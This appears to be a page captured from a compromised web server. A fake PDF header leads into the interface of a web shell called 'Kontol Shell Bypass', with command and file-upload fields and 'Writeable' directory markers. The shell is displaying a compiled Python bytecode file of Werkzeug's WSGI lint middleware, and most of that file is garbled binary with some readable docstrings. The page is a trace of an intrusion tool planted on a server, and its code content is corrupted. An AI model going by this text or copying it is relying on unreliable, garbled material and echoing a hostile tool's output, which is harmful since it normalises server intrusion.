%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/werkzeug/middleware/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/werkzeug/middleware/__pycache__/lint.cpython-39.pyc
a

�_g�8�@sdZddlmZddlZddlmZddlmZddl	m
Z
ddlmZdd	l
mZdd
lmZejr�ddlmZddlmZdd
lmZGdd�de�ZGdd�de�Zefddddd�dd�ZGdd�d�ZGdd�d�ZGdd�d�ZGdd �d �ZGd!d"�d"�ZdS)#a�
WSGI Protocol Linter
====================

This module provides a middleware that performs sanity checks on the
behavior of the WSGI server and application. It checks that the
:pep:`3333` WSGI spec is properly implemented. It also warns on some
common HTTP errors such as non-empty responses for 304 status codes.

.. autoclass:: LintMiddleware

:copyright: 2007 Pallets
:license: BSD-3-Clause
�)�annotationsN)�
TracebackType)�urlparse)�warn�)�Headers)�is_entity_header)�FileWrapper)�
StartResponse)�WSGIApplication)�WSGIEnvironmentc@seZdZdZdS)�WSGIWarningz Warning class for WSGI warnings.N��__name__�
__module__�__qualname__�__doc__�rr�E/vddos/python/lib/python3.9/site-packages/werkzeug/middleware/lint.pyr
!sr
c@seZdZdZdS)�HTTPWarningz Warning class for HTTP warnings.Nrrrrrr%sr�str�object�type�None)�context�obj�need�returncCs8t|�|ur4t|�d|j�dt|�j�d�tdd�dS)Nz
 requires z, got �.���
stacklevel)rrrr
)rrrrrr�
check_type)s�r"c@sXeZdZddd�dd�Zddd�d	d
�Zddd�dd�Zd
d�dd�Zdd�dd�ZdS)�InputStreamzt.IO[bytes]r��streamrcCs
||_dS�N��_stream��selfr%rrr�__init__3szInputStream.__init__�t.Any�bytes)�argsrcGsBt|�dkrtdtdd�nt|�dkr6tdtdd�|jj|�S)Nrz�WSGI does not guarantee an EOF marker on the input stream, thus making calls to 'wsgi.input.read()' unsafe. Conforming servers may never return from this call.rr �z2Too many parameters passed to 'wsgi.input.read()'.)�lenrr
r(�read�r*r.rrrr16s��zInputStream.readcGsLt|�dkrtdtdd�n$t|�dkr8tdtdd�ntd��|jj|�S)Nrz_Calls to 'wsgi.input.readline()' without arguments are unsafe. Use 'wsgi.input.read()' instead.rr r/z~'wsgi.input.readline()' was called with a size hint. WSGI does not support this, although it's available on all major servers.z5Too many arguments passed to 'wsgi.input.readline()'.)r0rr
�	TypeErrorr(�readliner2rrrr4Gs��zInputStream.readlinezt.Iterator[bytes]�rcCs:zt|j�WSty4tdtdd�td�YS0dS)Nz'wsgi.input' is not iterable.rr r)�iterr(r3rr
�r*rrr�__iter__Zs
zInputStream.__iter__cCstdtdd�|j��dS)Nz(The application closed the input stream!rr �rr
r(�closer7rrrr:aszInputStream.closeN)rrrr+r1r4r8r:rrrrr#2s
r#c@sXeZdZddd�dd�Zddd�dd	�Zdd
�dd�Zd
dd�dd�Zdd
�dd�ZdS)�ErrorStreamz	t.IO[str]rr$cCs
||_dSr&r'r)rrrr+gszErrorStream.__init__r��srcCstd|t�|j�|�dS)Nzwsgi.error.write())r"rr(�write�r*r=rrrr>jszErrorStream.writer5cCs|j��dSr&)r(�flushr7rrrr@nszErrorStream.flushzt.Iterable[str])�seqrcCs|D]}|�|�qdSr&)r>)r*rA�linerrr�
writelinesqszErrorStream.writelinescCstdtdd�|j��dS)Nz(The application closed the error stream!rr r9r7rrrr:uszErrorStream.closeN)rrrr+r>r@rCr:rrrrr;fs
r;c@s.eZdZdddd�dd�Zddd�d	d
�ZdS)�GuardedWritezt.Callable[[bytes], object]�	list[int]r)r>�chunksrcCs||_||_dSr&)�_write�_chunks)r*r>rFrrrr+{szGuardedWrite.__init__r-r<cCs*td|t�|�|�|j�t|��dS)Nzwrite())r"r-rGrH�appendr0r?rrr�__call__s
zGuardedWrite.__call__N)rrrr+rJrrrrrDzsrDc@sXeZdZddddd�dd�Zdd�d	d
�Zdd�dd
�Zdd�dd�Zdd�dd�ZdS)�GuardedIterator�t.Iterable[bytes]�tuple[int, Headers]rEr)�iterator�headers_setrFrcCs(||_t|�j|_d|_||_||_dS)NF)�	_iteratorr6�__next__�_next�closedrOrF)r*rNrOrFrrrr+�s
zGuardedIterator.__init__r5cCs|Sr&rr7rrrr8�szGuardedIterator.__iter__r-cCsP|jrtdtdd�|��}|js0tdtdd�td|t�|j�t	|��|S)Nz Iterated over closed 'app_iter'.rr z8The application returned before it started the response.zapplication iterator items)
rSrr
rRrOr"r-rFrIr0)r*�rvrrrrQ�s�zGuardedIterator.__next__cCsd|_t|jd�r|j��|j�r|j\}}t|j�}|jdtd�}|dkr�|D]6\}}|�	�}|dvrRt
|�rRtd|�d�td	d
�qR|r�tdtd	d
�nvd|kr�d
ks�n|dkr�|dkr�t|�d�td	d
�|r�t|�d�td	d
�n"|du�r||k�rtdt
d	d
�dS)NTr:zcontent-length)ri0)�expireszcontent-locationzEntity header z found in 304 response.rr z#304 responses must not have a body.�d����rz- responses must have an empty content length.z  responses must not have a body.zGContent-Length and the number of bytes sent to the client do not match.)rS�hasattrrPr:rO�sumrF�get�int�lowerrrrr
)r*�status_code�headersZ
bytes_sent�content_length�key�_valuerrrr:�sV



�
�����zGuardedIterator.closecCs0|js,ztdtdd�Wnty*Yn0dS)Nz4Iterator was garbage collected before it was closed.rr )rSrr
�	Exceptionr7rrr�__del__�s�
zGuardedIterator.__del__N)rrrr+r8rQr:rdrrrrrK�s
1rKc@sveZdZdZddd�dd�Zddd�d	d
�Zddd
dd�dd�Zddd�dd�Zddd�dd�Zdddd�dd�Z	dS)�LintMiddlewarea�Warns about common errors in the WSGI and HTTP behavior of the
    server and wrapped application. Some of the issues it checks are:

    -   invalid status codes
    -   non-bytes sent to the WSGI server
    -   strings returned from the WSGI application
    -   non-empty conditional responses
    -   unquoted etags
    -   relative URLs in the Location header
    -   unsafe calls to wsgi.input
    -   unclosed iterators

    Error information is emitted using the :mod:`warnings` module.

    :param app: The WSGI application to wrap.

    .. code-block:: python

        from werkzeug.middleware.lint import LintMiddleware
        app = LintMiddleware(app)
    rr)�apprcCs
||_dSr&)rf)r*rfrrrr+�szLintMiddleware.__init__r)�environrcCs�t|�turtdtdd�dD]"}||vrtd|�d�tdd�q|dd	kr\td
tdd�|�dd�}|�d
d�}|r�|ddkr�td|��tdd�|r�|ddkr�td|��tdd�dS)Nz/WSGI environment is not a standard Python dict.�r )	�REQUEST_METHODZSERVER_NAMEZSERVER_PORT�wsgi.version�
wsgi.input�wsgi.errorszwsgi.multithreadzwsgi.multiprocessz
wsgi.run_oncezRequired environment key z
 not foundrrj)r/rz"Environ is not a WSGI 1.0 environ.ZSCRIPT_NAME�Z	PATH_INFOr�/z+'SCRIPT_NAME' does not start with a slash: z)'PATH_INFO' does not start with a slash: )r�dictrr
r[)r*rgra�script_nameZ	path_inforrr�
check_environ�s:�
���zLintMiddleware.check_environrzlist[tuple[str, str]]z?None | tuple[type[BaseException], BaseException, TracebackType]rM)�statusr_�exc_inforc
Cs\td|t�|�dd�d}t|�dks0|��s>tdtdd�t|�dksV|ddkrltd	|�d
�tdd�t|�}|dkr�tdtdd�t|�t	ur�td
tdd�|D]t}t|�t
us�t|�dkr�tdtdd�|\}}t|�tus�t|�tu�rtdtdd�|��dkr�tdtdd�q�|du�rBt|t
��sBtdtdd�t
|�}	|�|	�||	fS)Nrrr/rrz!Status code must be three digits.r rh� zInvalid value for status zJ. Valid status strings are three digits, a space and a status explanation.rVzStatus code < 100 detected.zHeader list is not a list.rz#Header items must be 2-item tuples.z'Header keys and values must be strings.zFThe status header is not supported due to conflicts with the CGI spec.zInvalid value for exc_info.)r"r�splitr0�	isdecimalrr
r\r�list�tupler]�
isinstancer�
check_headers)
r*rrr_rsZstatus_code_strr^�item�name�valueZheaders_objrrr�check_start_response)sD
���
z#LintMiddleware.check_start_responser)r_rcCs�|�d�}|durt|�d�r@|�d�r4tdtdd�|dd�}|dd�|d	d�krdd
kstntdtdd�|�d�}|dur�t|�js�td
tdd�dS)N�etag)zW/�w/r�z)Weak etag indicator should be upper case.rhr rr/����"zUnquoted etag emitted.�locationz+Absolute URLs required for location header.)r[�
startswithrrr�netloc)r*r_rr�rrrrz]s(


�&

�zLintMiddleware.check_headersrL)�app_iterrcCst|t�rtdtdd�dS)Nz�The application returned a string. The response will send one character at a time to the client, which will kill performance. Return a list or iterable instead.rr )ryrrr
)r*r�rrr�check_iteratorxs
�zLintMiddleware.check_iteratorr,�r.�kwargsrcs�t|�dkrtdtdd�|r,tdtdd�|d}|d���|�t|d�|d<t|d�|d<t|d	<g�g�d
d
dd�����fd
d�}��|t�	d|��}��
|�t|t�	tjt
tf����S)NrzA WSGI app takes two arguments.r z+A WSGI app does not take keyword arguments.rr/rkrlzwsgi.file_wrapperr,zt.Callable[[bytes], None]r�cs�t|�dvr&tdt|��d�tdd�|r8tdtdd�|d}|d}t|�d	kr\|dnd}��|||��dd�<t�|||���S)
N>rrzInvalid number of arguments: z, expected 2 or 3.rr z1'start_response' does not take keyword arguments.rr/r)r0rr
r~rD)r.r�rrr_rs�rFrOr*Zstart_responserr�checking_start_response�s$���z8LintMiddleware.__call__.<locals>.checking_start_responser
)r0rr
rqr#r;r	rf�t�castr�rK�Tupler\r)r*r.r�rgr�r�rr�rrJ�s(�

�zLintMiddleware.__call__N)
rrrrr+rqr~rzr�rJrrrrre�s,4
re) r�
__future__r�typingr��typesr�urllib.parser�warningsrZdatastructuresr�httprZwsgir	�
TYPE_CHECKINGZ_typeshed.wsgir
rr�Warningr
rrr"r#r;rDrKrerrrr�<module>s(	4^

Kontol Shell Bypass